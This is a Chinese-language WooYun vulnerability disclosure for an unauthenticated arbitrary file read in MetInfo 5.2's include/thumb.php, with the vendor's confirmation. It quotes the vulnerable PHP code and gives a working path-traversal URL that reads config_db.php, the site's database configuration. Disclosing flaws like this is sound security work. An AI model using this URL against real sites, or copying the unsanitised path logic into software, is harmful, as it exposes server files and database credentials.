当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-091694

漏洞标题:MetInfo最新版任意文件读取

相关厂商:MetInfo

漏洞作者: 路人甲

提交时间:2015-01-14 10:23

修复时间:2015-04-14 10:24

公开时间:2015-04-14 10:24

漏洞类型:任意文件遍历/下载

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-14: 细节已通知厂商并且等待厂商处理中
2015-01-14: 厂商已经确认,细节仅向厂商公开
2015-01-17: 细节向第三方安全合作伙伴开放
2015-03-10: 细节向核心白帽子及相关领域专家公开
2015-03-20: 细节向普通白帽子公开
2015-03-30: 细节向实习白帽子公开
2015-04-14: 细节向公众公开

简要描述:

攻击者通过提交精心构造的参数可以获取服务器端任意文件内容!

详细说明:

MetInfo 5.2(当前最新版本)的 include/thumb.php 文件本来用来获取缩略图,但是其构造的缩略图路径存在外部可控变量,攻击者可以借此获取任意文件内容:
include/thumb.php关键代码如下:

<?php
$ext1 = explode("/", $dir); //$dir变量由外部传入
$count = count($ext1);
$count1 = $ext1[$count-1];
$ext2 = explode(".", $count1);
$ext3 = $ext2[1]; // $ext3为$dir变量文件名后缀
$path1 = $ext2[0]; // $ext3为$dir变量文件名称
$dir1 = '../upload/thumb_src/'.$x.'_'.$y.'/'.$path1.'.'.$ext3; // $x和$y由外部传入,因此导致整个$dir1变量完全可控
if(file_exists($dir1)){ // 该处逻辑实现读取$dir1文件内容
echo "the file exist:".$dir1;
readfile("$dir1");
}else{
$f = new upfile();
$imgurls = $f->createthumb($dir,$x,$y);
readfile($imgurls);
}
?>


攻击者够高的攻击性URL为:
include/thumb.php?x=1&y=/../../../config&dir=config_db.php
然后在浏览器源码中可以看到config_db.php的代码:

fileread.PNG


该漏洞不需要登录或任何权限!!!

漏洞证明:

fileread.PNG

修复方案:

处理好相关逻辑!

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-01-14 18:31

厂商回复:

确认为系统漏洞,感谢反馈,此问题会在5.3版本中修复。

最新状态:

暂无